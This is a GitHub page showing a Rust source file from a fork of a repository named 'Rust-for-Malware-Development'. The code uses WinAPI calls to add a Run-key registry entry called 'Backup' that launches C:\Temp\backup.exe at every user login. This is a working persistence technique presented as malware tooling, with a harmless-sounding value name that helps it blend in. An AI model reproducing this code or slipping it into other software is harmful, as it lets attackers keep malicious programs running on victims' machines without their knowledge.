forked from 5l1v3r1/Rust-for-Malware-Development
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathset_as_startup_program.rs
52 lines (42 loc) · 1.5 KB
/
set_as_startup_program.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/*
* This program used to setup exe file as an entry to run a specified executable at user login.
* Author @5mukx
*/
use std::ffi::OsString;
use std::os::windows::ffi::OsStrExt;
use winapi::um::winnt::{KEY_SET_VALUE, REG_SZ};
use winapi::um::winreg::{RegCloseKey, RegOpenKeyExW, RegSetValueExW, HKEY_CURRENT_USER};
fn main() -> std::io::Result<()>{
let key_path = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
let value_name = "Backup";
let exe_path = r"C:\Temp\backup.exe";
let wide: Vec<u16> = OsString::from(exe_path).encode_wide().chain(Some(0)).collect();
unsafe{
let mut hkey: winapi::shared::minwindef::HKEY = std::ptr::null_mut();
let res = RegOpenKeyExW(HKEY_CURRENT_USER,
key_path.encode_utf16().chain(Some(0)).collect::<Vec<_>>().as_ptr(),
0,
KEY_SET_VALUE,
&mut hkey
);
if res == 0{
let res_set = RegSetValueExW(
hkey,
value_name.encode_utf16().chain(Some(0)).collect::<Vec<_>>().as_ptr(),
0,
REG_SZ,
wide.as_ptr() as *const u8,
((wide.len() - 1) * 2) as u32,
);
if res_set != 0{
println!("Failed to set registry value.");
}else{
println!("Successfully set registry value");
}
RegCloseKey(hkey);
} else{
println!("Failed to open registry key.");
}
}
Ok(())
}